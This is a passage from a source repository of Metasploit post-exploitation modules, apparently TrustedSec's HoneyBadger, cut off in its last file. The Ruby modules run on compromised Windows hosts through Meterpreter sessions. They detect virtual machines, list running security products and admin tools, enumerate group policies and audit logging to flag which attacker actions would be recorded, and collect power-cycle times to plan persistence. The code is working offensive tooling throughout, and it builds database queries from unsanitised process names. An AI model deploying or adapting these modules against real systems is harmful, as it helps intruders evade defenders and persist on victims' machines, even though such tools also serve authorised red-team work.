├── .gitignore ├── License.md ├── README.md ├── local └── Processes.db ├── modules └── post │ └── windows │ └── gather │ ├── ts_check_commandline_logging.rb │ ├── ts_check_vm.rb │ ├── ts_collect_pipenames.rb │ ├── ts_collect_services.rb │ ├── ts_dangerous_processes.rb │ ├── ts_get_policyinfo.rb │ ├── ts_get_powercycle_times.rb │ ├── ts_host_info.rb │ ├── ts_ps_controls.rb │ ├── ts_wmi_securitycenter.rb │ └── ts_wsh_controls.rb └── plugins └── honeybadger.rb /.gitignore: -------------------------------------------------------------------------------- 1 | # General 2 | .DS_Store 3 | .AppleDouble 4 | .LSOverride 5 | 6 | # Icon must end with two \r 7 | Icon 8 | 9 | # Thumbnails 10 | ._* 11 | 12 | # Files that might appear in the root of a volume 13 | .DocumentRevisions-V100 14 | .fseventsd 15 | .Spotlight-V100 16 | .TemporaryItems 17 | .Trashes 18 | .VolumeIcon.icns 19 | .com.apple.timemachine.donotpresent 20 | 21 | # Directories potentially created on remote AFP share 22 | .AppleDB 23 | .AppleDesktop 24 | Network Trash Folder 25 | Temporary Items 26 | .apdisk 27 | -------------------------------------------------------------------------------- /License.md: -------------------------------------------------------------------------------- 1 | 2 | Copyright (c) TrustedSec Inc 3 | All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without modification, 6 | are permitted provided that the following conditions are met: 7 | 8 | - Redistributions of source code must retain the above copyright notice, 9 | this list of conditions and the following disclaimer. 10 | 11 | - Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | - Neither the name of Thomas J Bradley nor the names of its contributors may 16 | be used to endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 20 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 21 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 23 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 24 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 25 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 26 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 27 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 28 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HoneyBadger 2 | 3 | Honeybadger is a collection of Metasploit modules with a plugin to help automate Post-Exploitation actions on target systems using the Metasploit Framework. The content of the project can be placed in the .msf4 folder in the users home directory for use when Metasploit starts. 4 | -------------------------------------------------------------------------------- /local/Processes.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/HoneyBadger/0475bdbc2fefadfcc62d28d2dd0e4fe580d6b2a3/local/Processes.db -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_check_commandline_logging.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | 5 | class MetasploitModule < Msf::Post 6 | 7 | include Msf::Post::Windows::Registry 8 | include Msf::Auxiliary::Report 9 | 10 | def initialize(info={}) 11 | super( update_info( info, 12 | 'Name' => 'Windows check for commandline logging', 13 | 'Description' => %q{ 14 | Windows check for commandline logging. 15 | }, 16 | 'License' => BSD_LICENSE, 17 | 'Author' => [ 'Carlos Perez ' ], 18 | 'Platform' => [ 'win' ], 19 | 'SessionTypes' => [ 'meterpreter' ] 20 | )) 21 | end 22 | 23 | def run() 24 | print_status("Running post module #{sysinfo['Computer']} in session #{datastore['SESSION']}") 25 | settings = get_settings 26 | settings.each do |s| 27 | print_status(s) 28 | end 29 | end 30 | 31 | def get_settings() 32 | settings_vals = registry_enumvals('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit') 33 | return settings_vals 34 | end 35 | 36 | 37 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_check_vm.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'msf/core/auxiliary/report' 9 | 10 | class MetasploitModule < Msf::Post 11 | 12 | include Msf::Post::Windows::Registry 13 | include Msf::Auxiliary::Report 14 | 15 | def initialize(info={}) 16 | super( update_info( info, 17 | 'Name' => 'Windows Gather Virtual Environment Detection', 18 | 'Description' => %q{ 19 | This module attempts to determine whether the system is running 20 | inside of a virtual environment and if so, which one. This 21 | module supports detectoin of Hyper-V, VMWare, Virtual PC, 22 | VirtualBox, Xen, and QEMU. 23 | }, 24 | 'License' => BSD_LICENSE , 25 | 'Author' => [ 'Carlos Perez ' ], 26 | 'Platform' => [ 'win' ], 27 | 'SessionTypes' => [ 'meterpreter' ] 28 | )) 29 | end 30 | 31 | # Method for detecting if it is a Hyper-V VM 32 | def hypervchk(session) 33 | vm = false 34 | sfmsvals = registry_enumkeys('HKLM\SOFTWARE\Microsoft') 35 | if sfmsvals and sfmsvals.include?("Hyper-V") 36 | vm = true 37 | end 38 | if not vm 39 | if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System','SystemBiosVersion') =~ /vrtual/i 40 | vm = true 41 | end 42 | end 43 | if not vm 44 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT') 45 | if srvvals and srvvals.include?("VRTUAL") 46 | vm = true 47 | end 48 | end 49 | if not vm 50 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT') 51 | if srvvals and srvvals.include?("VRTUAL") 52 | vm = true 53 | end 54 | end 55 | 56 | if vm 57 | report_note( 58 | :host => session.session_host, 59 | :type => 'host.hypervisor', 60 | :data => { :hypervisor => "MS Hyper-V" }, 61 | :update => :unique_data 62 | ) 63 | print_good("This is a Hyper-V Virtual Machine") 64 | return "MS Hyper-V" 65 | end 66 | end 67 | 68 | # Method for checking if it is a VMware VM 69 | def vmwarechk(session) 70 | vm = false 71 | srvvals = registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services') 72 | if srvvals and srvvals.include?("vmdebug") 73 | vm = true 74 | elsif srvvals and srvvals.include?("vmmouse") 75 | vm = true 76 | elsif srvvals and srvvals.include?("VMTools") 77 | vm = true 78 | elsif srvvals and srvvals.include?("VMMEMCTL") 79 | vm = true 80 | end 81 | if not vm 82 | if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System\BIOS','SystemManufacturer') =~ /vmware/i 83 | vm = true 84 | end 85 | end 86 | if not vm 87 | key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0' 88 | if registry_getvaldata(key_path,'Identifier') =~ /vmware/i 89 | vm = true 90 | end 91 | end 92 | if not vm 93 | vmwareprocs = [ 94 | "vmwareuser.exe", 95 | "vmwaretray.exe" 96 | ] 97 | session.sys.process.get_processes().each do |x| 98 | vmwareprocs.each do |p| 99 | if p == (x['name'].downcase) 100 | vm = true 101 | end 102 | end 103 | end 104 | end 105 | 106 | if vm 107 | report_note( 108 | :host => session.session_host, 109 | :type => 'host.info.vm', 110 | :data => { :hypervisor => "VMware" }, 111 | :update => :unique_data 112 | ) 113 | print_good("This is a VMware Virtual Machine") 114 | return "VMWare" 115 | end 116 | end 117 | 118 | # Method for checking if it is a Virtual PC VM 119 | def checkvrtlpc(session) 120 | vm = false 121 | vpcprocs = [ 122 | "vmusrvc.exe", 123 | "vmsrvc.exe" 124 | ] 125 | session.sys.process.get_processes().each do |x| 126 | vpcprocs.each do |p| 127 | if p == (x['name'].downcase) 128 | vm = true 129 | end 130 | end 131 | end 132 | if not vm 133 | srvvals = registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services') 134 | if srvvals and srvvals.include?("vpc-s3") 135 | vm = true 136 | elsif srvvals and srvvals.include?("vpcuhub") 137 | vm = true 138 | elsif srvvals and srvvals.include?("msvmmouf") 139 | vm = true 140 | end 141 | end 142 | if vm 143 | report_note( 144 | :host => session.session_host, 145 | :type => 'host.info.vm', 146 | :data => { :hypervisor => "VirtualPC" }, 147 | :update => :unique_data 148 | ) 149 | print_good("This is a VirtualPC Virtual Machine") 150 | return "VirtualPC" 151 | end 152 | end 153 | 154 | # Method for checking if it is a VirtualBox VM 155 | def vboxchk(session) 156 | vm = false 157 | vboxprocs = [ 158 | "vboxservice.exe", 159 | "vboxtray.exe" 160 | ] 161 | session.sys.process.get_processes().each do |x| 162 | vboxprocs.each do |p| 163 | if p == (x['name'].downcase) 164 | vm = true 165 | end 166 | end 167 | end 168 | if not vm 169 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT') 170 | if srvvals and srvvals.include?("VBOX__") 171 | vm = true 172 | end 173 | end 174 | if not vm 175 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT') 176 | if srvvals and srvvals.include?("VBOX__") 177 | vm = true 178 | end 179 | end 180 | if not vm 181 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT') 182 | if srvvals and srvvals.include?("VBOX__") 183 | vm = true 184 | end 185 | end 186 | if not vm 187 | key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0' 188 | if registry_getvaldata(key_path,'Identifier') =~ /vbox/i 189 | vm = true 190 | end 191 | end 192 | if not vm 193 | if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System','SystemBiosVersion') =~ /vbox/i 194 | vm = true 195 | end 196 | end 197 | if not vm 198 | srvvals = registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services') 199 | if srvvals and srvvals.include?("VBoxMouse") 200 | vm = true 201 | elsif srvvals and srvvals.include?("VBoxGuest") 202 | vm = true 203 | elsif srvvals and srvvals.include?("VBoxService") 204 | vm = true 205 | elsif srvvals and srvvals.include?("VBoxSF") 206 | vm = true 207 | end 208 | end 209 | if vm 210 | report_note( 211 | :host => session.session_host, 212 | :type => 'host.info.vm', 213 | :data => { :hypervisor => "VirtualBox" }, 214 | :update => :unique_data 215 | ) 216 | print_good("This is a Sun VirtualBox Virtual Machine") 217 | return "VirtualBox" 218 | end 219 | end 220 | 221 | # Method for checking if it is a Xen VM 222 | def xenchk(session) 223 | vm = false 224 | xenprocs = [ 225 | "xenservice.exe" 226 | ] 227 | session.sys.process.get_processes().each do |x| 228 | xenprocs.each do |p| 229 | if p == (x['name'].downcase) 230 | vm = true 231 | end 232 | end 233 | end 234 | if not vm 235 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT') 236 | if srvvals and srvvals.include?("Xen") 237 | vm = true 238 | end 239 | end 240 | if not vm 241 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT') 242 | if srvvals and srvvals.include?("Xen") 243 | vm = true 244 | end 245 | end 246 | if not vm 247 | srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT') 248 | if srvvals and srvvals.include?("Xen") 249 | vm = true 250 | end 251 | end 252 | if not vm 253 | srvvals = registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services') 254 | if srvvals and srvvals.include?("xenevtchn") 255 | vm = true 256 | elsif srvvals and srvvals.include?("xennet") 257 | vm = true 258 | elsif srvvals and srvvals.include?("xennet6") 259 | vm = true 260 | elsif srvvals and srvvals.include?("xensvc") 261 | vm = true 262 | elsif srvvals and srvvals.include?("xenvdb") 263 | vm = true 264 | end 265 | end 266 | if vm 267 | report_note( 268 | :host => session.session_host, 269 | :type => 'host.info.vm', 270 | :data => { :hypervisor => "Xen" }, 271 | :update => :unique_data 272 | ) 273 | print_good("This is a Xen Virtual Machine") 274 | return "Xen" 275 | end 276 | end 277 | 278 | def qemuchk(session) 279 | vm = false 280 | if not vm 281 | key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0' 282 | if registry_getvaldata(key_path,'Identifier') =~ /qemu/i 283 | print_good("This is a QEMU/KVM Virtual Machine") 284 | vm = true 285 | end 286 | end 287 | if not vm 288 | key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0' 289 | if registry_getvaldata(key_path,'ProcessorNameString') =~ /qemu/i 290 | print_good("This is a QEMU/KVM Virtual Machine") 291 | vm = true 292 | end 293 | end 294 | 295 | if vm 296 | report_note( 297 | :host => session.session_host, 298 | :type => 'host.info.vm', 299 | :data => { :hypervisor => "Qemu/KVM" }, 300 | :update => :unique_data 301 | ) 302 | return "Qemu/KVM" 303 | end 304 | end 305 | 306 | # run Method 307 | def run 308 | print_status("Checking if #{sysinfo['Computer']} is a Virtual Machine .....") 309 | found = hypervchk(session) 310 | found ||= vmwarechk(session) 311 | found ||= checkvrtlpc(session) 312 | found ||= vboxchk(session) 313 | found ||= xenchk(session) 314 | found ||= qemuchk(session) 315 | if !found 316 | print_status("#{sysinfo['Computer']} appears to be a Physical Machine") 317 | end 318 | end 319 | 320 | end 321 | -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_collect_pipenames.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | require 'msf/core/post/windows/extapi' 5 | require 'sqlite3' 6 | 7 | class MetasploitModule < Msf::Post 8 | 9 | include Msf::Auxiliary::Report 10 | include Msf::Post::File 11 | 12 | 13 | def initialize(info={}) 14 | super( update_info( info, 15 | 'Name' => 'Collect the names on existing named pipes.', 16 | 'Description' => %q{ 17 | Collect the names on existing named pipes. 18 | }, 19 | 'License' => BSD_LICENSE, 20 | 'Author' => [ 'Carlos Perez ' ], 21 | 'Platform' => [ 'win' ], 22 | 'SessionTypes' => [ 'meterpreter' ] 23 | )) 24 | end 25 | 26 | def run() 27 | print_status("Running post module against #{sysinfo['Computer']}") 28 | pipe_names = [] 29 | session.fs.dir.foreach('\\\\.\\pipe\\\\') do |pipe| 30 | print_good("\t#{pipe}") 31 | pipe_names << pipe 32 | end 33 | report_note( 34 | :host => session, 35 | :type => 'host.info.pipes', 36 | :data => { 37 | :names => pipe_names}, 38 | :update => :unique) 39 | end 40 | 41 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_collect_services.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | 5 | 6 | class MetasploitModule < Msf::Post 7 | 8 | include Msf::Auxiliary::Report 9 | include Msf::Post::Windows::Services 10 | 11 | 12 | 13 | def initialize(info={}) 14 | super( update_info( info, 15 | 'Name' => 'Collect Windows services and basic information on each.', 16 | 'Description' => %q{ 17 | Collect Windows services and basic information on each. 18 | }, 19 | 'License' => BSD_LICENSE, 20 | 'Author' => [ 'Carlos Perez ' ], 21 | 'Platform' => [ 'win' ], 22 | 'SessionTypes' => [ 'meterpreter' ] 23 | )) 24 | end 25 | 26 | def run() 27 | print_status("Running post module against #{sysinfo['Computer']}") 28 | results_table = Rex::Text::Table.new( 29 | 'Header' => 'Services', 30 | 'Indent' => 1, 31 | 'SortIndex' => 0, 32 | 'Columns' => ['Name', 'DisplayName', 'Status',] 33 | ) 34 | 35 | service_list.each do |srv| 36 | if srv[:status] == 4 37 | results_table << [srv[:name],srv[:display], "Running"] 38 | end 39 | end 40 | 41 | print_line(results_table.to_s) 42 | report_note( 43 | :host => session.session_host, 44 | :type => 'host.info.services', 45 | :data => { 46 | :services => results_table.to_csv}, 47 | :update => :unique) 48 | 49 | end 50 | 51 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_dangerous_processes.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | require 'sqlite3' 5 | 6 | class MetasploitModule < Msf::Post 7 | 8 | include Msf::Post::Windows::Registry 9 | include Msf::Auxiliary::Report 10 | 11 | def initialize(info={}) 12 | super( update_info( info, 13 | 'Name' => 'Windows Gather Dangerous Processes', 14 | 'Description' => %q{ 15 | This module attempts to identify security products and admin tools by the process name. 16 | }, 17 | 'License' => BSD_LICENSE , 18 | 'Author' => [ 'Carlos Perez ' ], 19 | 'Platform' => [ 'win' ], 20 | 'SessionTypes' => [ 'meterpreter' ] 21 | )) 22 | end 23 | 24 | def run() 25 | print_status("Running post module against #{sysinfo['Computer']}") 26 | print_line 27 | print_status("###########################") 28 | print_status("# Verify system processes #") 29 | print_status("###########################") 30 | print_line 31 | 32 | all_processes = get_processes 33 | check_processes(all_processes) 34 | end 35 | 36 | def get_processes 37 | vprint_status('Collecting current processes.') 38 | all_processes = session.sys.process.get_processes 39 | return all_processes 40 | end 41 | #----------------------------------------------------------------------- 42 | def check_processes(all_processes) 43 | db_path = "#{::Msf::Config.local_directory + File::SEPARATOR }Processes.db" 44 | if !File::exist?(db_path) 45 | print_error("Could not find process database in #{db_path}") 46 | return 47 | end 48 | 49 | begin 50 | db = SQLite3::Database.new(db_path) 51 | 52 | # Save all services as a note. 53 | tbl_services = Rex::Text::Table.new( 54 | 'Columns' => [ 55 | 'Name', 56 | 'Path', 57 | 'PID', 58 | 'PPID', 59 | 'Arch', 60 | 'User' 61 | ] 62 | ) 63 | # Check for security products 64 | tbl = Rex::Text::Table.new( 65 | 'Columns' => [ 66 | 'Name', 67 | 'Path', 68 | 'PID', 69 | 'Arch', 70 | 'Comment' 71 | ] 72 | ) 73 | 74 | tbl_report = Rex::Text::Table.new( 75 | 'Columns' => [ 76 | 'Name', 77 | 'Path', 78 | 'PID', 79 | 'Arch', 80 | 'Comment' 81 | ] 82 | ) 83 | print_status('Checking for seurity products.') 84 | all_processes.each do |proc| 85 | result = db.execute( "SELECT comment FROM processinformation WHERE name ='#{proc['name']}' AND type = 'SECURITY_PRODUCT'" ) 86 | if result.length > 0 87 | tbl << [proc['name'], proc['path'], proc['pid'], proc['arch'], "%red#{result[0][0]}%clr"] 88 | tbl_report << [proc['name'], proc['path'], proc['pid'], proc['arch'], "#{result[0][0]}"] 89 | end 90 | 91 | # save the processes in to a table to collect as a note. 92 | tbl_services << [proc['name'], proc['path'], proc['pid'],proc['ppid'], proc['arch'], proc['user']] 93 | 94 | end 95 | 96 | print_good("\tSaving #{tbl_services.rows.length} current processes info") 97 | report_note( 98 | :host => session.session_host, 99 | :type => 'host.info.processes', 100 | :data => { :products => tbl_services.to_csv }, 101 | :update => :unique_data 102 | ) 103 | 104 | if tbl.rows.length > 0 105 | print_status('Security Products Processes:') 106 | report_note( 107 | :host => session.session_host, 108 | :type => 'host.control.product', 109 | :data => { :products => tbl_report.to_csv }, 110 | :update => :unique_data 111 | ) 112 | print_line tbl.to_s 113 | else 114 | print_good('No known security product process found.') 115 | end 116 | 117 | tbl.rows = [] 118 | tbl_report.rows = [] 119 | print_status('Checking for admin tools.') 120 | all_processes.each do |proc| 121 | result = db.execute( "SELECT comment FROM processinformation WHERE (name ='#{proc['name']}' AND type = 'ADMIN_TOOL')" ) 122 | if result.length > 0 123 | tbl << [proc['name'], proc['path'], proc['pid'], proc['arch'], "%red#{result[0][0]}%clr"] 124 | tbl_report << [proc['name'], proc['path'], proc['pid'], proc['arch'], "#{result[0][0]}"] 125 | end 126 | end 127 | if tbl.rows.length > 0 128 | print_status('Admin Tools Processes:') 129 | report_note( 130 | :host => session.session_host, 131 | :type => 'host.control.admin_tools', 132 | :data => { :products => tbl_report.to_csv }, 133 | :update => :unique_data 134 | ) 135 | print_line tbl.to_s 136 | else 137 | print_good('No known admin tool process found.') 138 | end 139 | 140 | db.close if db 141 | rescue SQLite3::Exception => e 142 | 143 | print_error("Exception occurred") 144 | print_error(e) 145 | 146 | ensure 147 | db.close if db 148 | end 149 | end 150 | 151 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_get_policyinfo.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | 3 | require 'msf/core' 4 | require 'rex' 5 | require 'msf/core/auxiliary/report' 6 | require 'csv' 7 | 8 | 9 | 10 | class MetasploitModule < Msf::Post 11 | include Msf::Auxiliary::Report 12 | include Msf::Post::Windows::Registry 13 | include Msf::Post::Windows::ExtAPI 14 | include Msf::Post::File 15 | 16 | def initialize(info = {}) 17 | super(update_info( 18 | info, 19 | 'Name' => 'Windows Gather AD Enumerate Domain Group Policy Objects', 20 | 'Description' => %q{ This Module will enumerate the audit policy and GPOs applied to 21 | a host through a Windows Meterpreter Session.}, 22 | 'License' => BSD_LICENSE, 23 | 'Author' => [ 'Carlos Perez ' ], 24 | 'Platform' => ['win'], 25 | 'SessionTypes' => ['meterpreter'] 26 | )) 27 | register_options( 28 | [ 29 | OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]) 30 | ], self.class) 31 | end 32 | 33 | # Run Method for when run command is issued 34 | def run 35 | print_status("Running module against #{ sysinfo['Computer'] }") 36 | 37 | domain = get_domain() 38 | return if domain.nil? 39 | print_status("Host is part of #{domain}") 40 | get_gpo_info() 41 | tradecraft_check(find_audit(domain)) 42 | 43 | end 44 | 45 | # get GPO information 46 | def get_gpo_info() 47 | # Enumerate GPOs applied to the machine 48 | gpo_key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0' 49 | gpo_key_list = registry_enumkeys(gpo_key) 50 | 51 | applied_gpo = [] 52 | # pull information on each GPO 53 | gpo_key_list.each do |gpo| 54 | gpo_info = {} 55 | applied_gpo_key = "#{gpo_key}\\#{gpo}" 56 | gpo_info[:guid] = registry_getvaldata(applied_gpo_key, 'GPOName') 57 | gpo_info[:name] = registry_getvaldata(applied_gpo_key, 'DisplayName') 58 | gpo_info[:link] = registry_getvaldata(applied_gpo_key, 'Link') 59 | gpo_info[:path] = registry_getvaldata(applied_gpo_key, 'FileSysPath') 60 | gpo_info[:dn] = registry_getvaldata(applied_gpo_key, 'DSPath') 61 | gpo_info[:extensions] = registry_getvaldata(applied_gpo_key, 'Extensions') 62 | applied_gpo << gpo_info 63 | end 64 | 65 | print_status("GPOs applied to host:") 66 | applied_gpo.each do |gpo| 67 | print_good("\tName: #{gpo[:name]}") 68 | print_good("\tGUID: #{gpo[:guid]}") 69 | print_good("\tLink: #{gpo[:link]}") 70 | print_good("\tDN: #{gpo[:dn]}") 71 | print_good("\tExtensions: #{gpo[:extensions]}") 72 | print_good("\tPath: #{gpo[:path]}") 73 | print_line 74 | end 75 | report_note( 76 | :host => session.session_host, 77 | :type => 'host.control.gpo', 78 | :data => { :gpo => applied_gpo }, 79 | :update => :unique_data 80 | ) 81 | end 82 | 83 | # checks the audit settings and warns on common tradecraft actions that may be logged. 84 | def tradecraft_check(audit) 85 | print_status("Tradecraft Notes:") 86 | if audit.key?("Audit Other Object Access Events") 87 | print_warning("\tScheduled task actions are audited.") 88 | report_note( 89 | :host => session.session_host, 90 | :type => 'host.log.schtask', 91 | :data => { 92 | :enabled => true}, 93 | :update => :unique_data 94 | ) 95 | 96 | print_warning("\tFile, Registry and Share access can be logged.") 97 | report_note( 98 | :host => session.session_host, 99 | :type => 'host.log.reg_share_access', 100 | :data => { 101 | :enabled => true}, 102 | :update => :unique_data 103 | ) 104 | 105 | print_warning("\tLocal SAM access is audited.") 106 | report_note( 107 | :host => session.session_host, 108 | :type => 'host.log.sam_access', 109 | :data => { 110 | :enabled => true}, 111 | :update => :unique_data 112 | ) 113 | end 114 | 115 | if audit.key?("Audit Process Creation") 116 | print_warning("\tProcess creation is audited.") 117 | report_note( 118 | :host => session.session_host, 119 | :type => 'host.log.process_creation', 120 | :data => { 121 | :enabled => true}, 122 | :update => :unique_data 123 | ) 124 | end 125 | 126 | if audit.key?("Audit Security State Change") 127 | print_warning("\tWindows Startup and Shutdown is logged") 128 | report_note( 129 | :host => session.session_host, 130 | :type => 'host.log.startup_shutdown', 131 | :data => { 132 | :enabled => true}, 133 | :update => :unique_data 134 | ) 135 | end 136 | 137 | if audit.key?("Audit Security System Extension") 138 | print_warning("\tWindows Service creation is logged") 139 | report_note( 140 | :host => session.session_host, 141 | :type => 'host.log.service_creation', 142 | :data => { 143 | :enabled => true}, 144 | :update => :unique_data 145 | ) 146 | print_warning("\tAuthentication package install is logged.") 147 | report_note( 148 | :host => session.session_host, 149 | :type => 'host.log.sam_access', 150 | :data => { 151 | :enabled => true}, 152 | :update => :unique_data 153 | ) 154 | print_warning("\tCode integrity check (file signature does not match).") 155 | report_note( 156 | :host => session.session_host, 157 | :type => 'host.log.code_integrity_check', 158 | :data => { 159 | :enabled => true}, 160 | :update => :unique_data 161 | ) 162 | 163 | end 164 | 165 | if audit.key?("Audit Audit Policy Change") 166 | print_warning("\tAudit policy changes are logged.") 167 | report_note( 168 | :host => session.session_host, 169 | :type => 'host.log.audit_policy_change.', 170 | :data => { 171 | :enabled => true}, 172 | :update => :unique_data 173 | ) 174 | 175 | end 176 | 177 | if audit.key?("Audit Special Logon") 178 | print_warning("\tEvent 4672 logged when highly privileged user logs on.") 179 | report_note( 180 | :host => session.session_host, 181 | :type => 'host.log.high_priv_logon', 182 | :data => { 183 | :enabled => true}, 184 | :update => :unique_data 185 | ) 186 | end 187 | 188 | if audit.key?("Audit Other Logon/Logoff Events") 189 | print_warning("\tEvents for screensaver login, console locking, and Remote Desktop connections are logged.") 190 | report_note( 191 | :host => session.session_host, 192 | :type => 'host.log.other_logon', 193 | :data => { 194 | :enabled => true}, 195 | :update => :unique_data 196 | ) 197 | end 198 | 199 | if audit.key?("Audit Logon") 200 | print_warning("\tAccount Logon events are logged.") 201 | report_note( 202 | :host => session.session_host, 203 | :type => 'host.log.logon', 204 | :data => { 205 | :enabled => true}, 206 | :update => :unique_data 207 | ) 208 | end 209 | 210 | if audit.key?("Audit Kernel Object") 211 | print_warning("\tLSASS memory access will be logged in newer versions of Windows (10+/2012 R2+).") 212 | report_note( 213 | :host => session.session_host, 214 | :type => 'host.log.kernel_object', 215 | :data => { 216 | :enabled => true}, 217 | :update => :unique_data 218 | ) 219 | end 220 | 221 | end 222 | 223 | # find if there are advanced audit settings and returns a hash table of their settings. 224 | def find_audit(domain) 225 | audit = {} 226 | table = Rex::Text::Table.new( 227 | 'Indent' => 4, 228 | 'SortIndex' => -1, 229 | 'Width' => 80, 230 | 'Columns' => 231 | [ 232 | 'Audit Category', 233 | 'Setting' 234 | ] 235 | ) 236 | windir = client.sys.config.getenv('WINDIR') 237 | if sysinfo["Architecture"] == session.arch then 238 | gpo_path = "#{windir}\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\#{domain}\\Policies" 239 | else 240 | gpo_path = "#{windir}\\Sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\#{domain}\\Policies" 241 | end 242 | getfile = client.fs.file.search(gpo_path,"audit.csv",recurse=true,timeout=-1) 243 | if getfile .length > 0 then 244 | print_status("Advanced Auditing settings found") 245 | csv_files = [] 246 | getfile.each do |f| 247 | csv_files << "#{f['path']}\\#{f['name']}" 248 | end 249 | csv_files.each do |file| 250 | csv_content = read_file(file) 251 | ((csv_content.split("\n"))[2..-1]).each do |l| 252 | fields = l.split(",") 253 | table << [fields[2], fields[4]] 254 | audit["#{fields[2]}"] = fields[4] 255 | end 256 | end 257 | print_line(table.to_s) 258 | else 259 | print_status("No advanced auditing settings found.") 260 | end 261 | report_note( 262 | :host => session.session_host, 263 | :type => 'host.log.settings', 264 | :data => { 265 | :settings => table.to_csv 266 | }, 267 | :update => :unique_data 268 | ) 269 | return audit 270 | end 271 | 272 | 273 | 274 | # get the FQDN of the system domain. 275 | def get_domain 276 | domain = nil 277 | begin 278 | subkey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History' 279 | v_name = 'DCName' 280 | domain_dc = registry_getvaldata(subkey, v_name) 281 | rescue 282 | print_error 'Could not determine if the host is part of a domain.' 283 | return nil 284 | end 285 | if !domain_dc.nil? 286 | # lets parse the information 287 | dom_info = domain_dc.split('.').drop(1) 288 | domain = dom_info.join('.') 289 | else 290 | print_status 'Host is not part of a domain.' 291 | end 292 | domain 293 | end 294 | 295 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_get_powercycle_times.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'msf/core/auxiliary/report' 9 | require 'msf/core/post/windows/extapi' 10 | 11 | class MetasploitModule < Msf::Post 12 | 13 | include Msf::Post::Windows::Registry 14 | include Msf::Auxiliary::Report 15 | include Msf::Post::Windows::ExtAPI 16 | 17 | def initialize(info={}) 18 | super( update_info( info, 19 | 'Name' => 'Windows Gather PowerCycle Times', 20 | 'Description' => %q{ 21 | Get the last couple of startup and shutdown events so as to get a pattern of power cycles to determine 22 | best action for a persistence strategy. 23 | }, 24 | 'License' => BSD_LICENSE , 25 | 'Author' => [ 'Carlos Perez '], 26 | 'Platform' => [ 'win' ], 27 | 'SessionTypes' => [ 'meterpreter' ] 28 | )) 29 | register_options( 30 | [ 31 | OptInt.new('MAX_SEARCH', [false, 'Maximum number of hours before current day to pull.', 